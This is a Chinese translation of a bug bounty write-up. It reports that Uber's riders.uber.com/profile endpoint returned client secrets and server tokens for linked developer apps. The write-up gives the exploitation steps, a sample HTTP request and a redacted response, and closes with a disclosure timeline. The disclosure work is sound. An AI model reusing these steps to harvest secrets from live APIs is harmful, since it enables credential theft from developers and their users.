泄露大量客户端密钥以及所有Uber开发者应用服务器的令牌——5000美金
这个漏洞是在Uber的许可下披露的。
AppSecure团队的Anand Prakash和Manisha Sangwan发现了这个严重的信息泄露漏洞。Uber的安全团队在接到上报后很快就修复了。
这是一个是在域名riders.uber.com上的信息泄漏漏洞,AppSecure团队在其发现了一个公共API端点https://riders.uber.com/profile
,该API原本的作用是向已被Uber帐户所有者授权的应用程序发回服务器令牌和客户端密钥。
根据Uber的文档说明:
“你的应用的密钥,应将其视为密码。千万不要与任何人分享,或者在任何公共论坛上公开。此外,也不要将其放在客户端设备上,因为用户可以反编译代码得到密钥。如果你怀疑你的客户端密钥已被泄露,你可以立刻生成一个新的密钥,旧的密钥会立刻失效。”
攻击者可以通过将其帐户绑定到任何开发者Uber应用,然后简单使用/profile
端点来检索服务器令牌以及客户端密钥。
在漏洞上报后,Uber通过删除API响应中的敏感信息来解决此问题。Uber也公开通知了所有开发人员有关此漏洞的详细信息,并要求开发人员定期更换密钥。
关于Uber
Uber是一家运输服务网络公司(TNC),总部设在加利福尼亚的旧金山。其提供的服务包括点对点的乘客共享、出租车呼叫、食品配送和自行车共享等,在全球785个大城市都有运营网点。根据彭博社的报告,Uber的估值超过了1000亿美元。
利用步骤
- 步骤1
攻击者使用OAuth将一个随机的Uber开发者应用关联到他的帐户,例如IFTTT、Payfare和Bixby。这个过程并不复杂。
- 步骤2
一旦攻击者将上述某个应用关联到其Uber帐户,就可以利用攻击者的session来通过上述/profile
端点获取到开发者应用的机密数据和其他重要信息。
示例:
POST /api/得到授权的app HTTP/1.1
Host: riders.uber.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://riders.uber.com/profile
content-type: application/json
x-csrf-token: XXX
origin: https://riders.uber.com
Content-Length: 2
Cookie:
回应如下:
{“status”:”success”,”data”:{“data”:{“uuid”:”xxxx”},”clientScopes”:{“authorizedClientScopes”:[{“clientID”:”xxx”,”scopes”:[“history”,”offline_access”,”profile”]}]},”scopeDetails”:[{“applicationDetails”:{“applicationID”:”xxx”,”owner”:{“userUUID”:”xxxx”,”userEmail”:””},”applicationSecret”:”xxx”,”name”:”xxx”,”desc ription”:”abc”,”privacyPolicyURL”:”https://appsecure.in","surgeConfirmedRedirectURI":"","webhookURL":"","applicationType":"","requestsPerHour":{"low":0,"high":0,"unsigned":false},"redirectURIs":["xxxxxx"],"appSignatures":[],"defaultScopes":["history","profile"],"whitelistedScopes":[],"originURIs":[],"serverTokens":["xxx"],"ipWhitelist":[],"admins":[{"userUUID":"xxxx","userEmail":""},{"userUUID":"xxxx","userEmail":""},{"userUUID":"xxxx","userEmail":""}],"developers":[{"userUUID":"xxxx","userEmail":""}],"tags":[],"oauthEnabled":false,"smsVerificationEnabled":false,"cobrandingEnabled":false,"supplyOnly":false,"isInternal":true,"cobrandingDetails":{"nativeURL":"","androidFallbackURL":"","iosFallbackURL":"","displayName":"","linkName":"","logoUUID":"","logoFiletype":"","generatedLogoURL":""},"availableScopes":["delivery","history","history_lite","places","profile","ride_widgets"],"openScopes":["delivery","history","history_lite","places","profile","ride_widgets"],"developerScopes":["all_trips","request","request_receipt"],"createdAt":{"low":xxx,"high":0,"unsigned":false},"updatedAt":{"low":xxx,"high":0,"unsigned":false},"displayName":null,"iconURL":null,"publicDesc ription":null,"appGalleryDetails":{"mobilePlatforms":[],"publicationState":"","redirectURI":"xxxx","permissionState":""}},"permissions":null,"userRoleInvitations":null}]}}
时间线
2018年10月5日:向Uber安全团队发送报告。
2018年11月6日:已被解决。AppSecure要求Uber通知所有开发者,以防他们的应用程序机密不再保密。
2018年12月20日:Uber回复说:“他们正在通知开发者,并在制定长期的解决方案。”
2019年2月8日:Uber奖励5000美元,并通过电子邮件通知所有开发者。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/@appsecure/leakage-of-client-secret-server-tokens-of-all-uber-developer-applications-657d9d7fd30e
最新评论